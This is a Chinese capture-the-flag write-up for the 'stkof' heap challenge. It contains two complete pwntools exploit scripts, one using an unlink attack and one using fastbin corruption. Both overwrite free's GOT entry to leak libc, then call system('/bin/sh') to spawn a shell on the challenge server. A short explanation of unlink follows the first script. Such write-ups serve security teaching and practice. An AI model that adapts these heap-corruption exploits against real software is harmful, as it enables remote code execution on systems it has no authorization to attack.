又是一道堆题,先看保护
关键信息,64位,没开pie。再看ida
大致就是alloc创建堆块,free释放堆块,fill填充堆块内容,以及一个看起来没啥用的函数,当然我也没利用这个函数去解题
这里有两种解法
解法一(unlink):
这里要着重讲一下这个解法,因为我在前面的堆题里几乎没有用过这个方法解题,而且unlink也是一种值得去用的解法。
解题思路:
从创建堆块的函数里可以看到,堆块的指针存储在一个名为s的指针数组里,可以触发unlink修改堆块指针为s附近的地址,修改该堆块内容把两个堆块指针分别修改为free的got以及任意函数的got,把free的got里内容修改为puts的plt地址,打印出任意函数的got内容,泄露libc,得到system函数地址,把free的got内容修改为system,然后getshell
完整exp:
from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
pchunk=0x602150
free_got=0x602018
puts_got=0x602020
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10)
alloc(0x20)
alloc(0x80)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(pchunk-0x18)+p64(pchunk-0x10)+p64(0x20)+p64(0x90)
fill(2,len(payload),payload)
free(3)
payload=p64(0)*2+p64(free_got)+p64(libc_start_main_got)
fill(2,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('__libc_start_main',libc_start_addr)
libcbase=libc_start_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
alloc(0x20)
payload=b'/bin/sh\x00'
fill(4,len(payload),payload)
free(4)
p.interactive()
unlink:
应用:
首先,设某一堆块的指针存储在pchunk地址处,在该堆块中伪造堆块,填充数据伪造堆头,利用填充堆块内容的函数将该堆块的fd和bk处分别修改为pchunk-0x18,pchunk-0x10,然后将相邻的下一堆块的priv_size修改为伪造的堆块的大小,堆头size修改为相应的大小,然后释放相邻堆块(大小需为非fastbin)就可以触发unlink,将该堆块的指针修改为pchunk-0x18了。
例如exp中的:
payload=p64(0)+p64(0x21)
payload+=p64(pchunk-0x18)+p64(pchunk-0x10)
payload+=p64(0x20)+p64(0x90) #这里直接输入这样是因为伪造堆块的大小较小不用填充无关数据
如果伪造的堆块大小较大,需要填充无关数据至相邻堆块的堆头。
原理:
原理可以看一下这篇文章,写得很详细
https://blog.csdn.net/qq_41202237/article/details/108481889
第二种解法:
完整exp:
from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
s=0x602140
free_got=0x602018
puts_plt=0x400760
libc_start_main_got=0x602050def alloc(size):p.sendline(str(1))p.sendline(str(size))
def fill(index,size,context):p.sendline(str(2))p.sendline(str(index))p.sendline(str(size))p.sendline(context)
def free(index):p.sendline(str(3))p.sendline(str(index))alloc(0x10) #1
alloc(0x10) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x80) #5
free(3)
free(4)
payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(s-115)
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)*13+p8(0)*3+p64(free_got)+p64(libc_start_main_got)
fill(7,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_main_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
payload=b'/bin/sh\x00'
fill(5,len(payload),payload)
free(5)
p.interactive()
直接释放两个堆块,利用堆溢出在堆块指针数组s附近创建堆块,修改指针。
这种方法比较简单粗暴一点,但是还是建议用unlink去解题。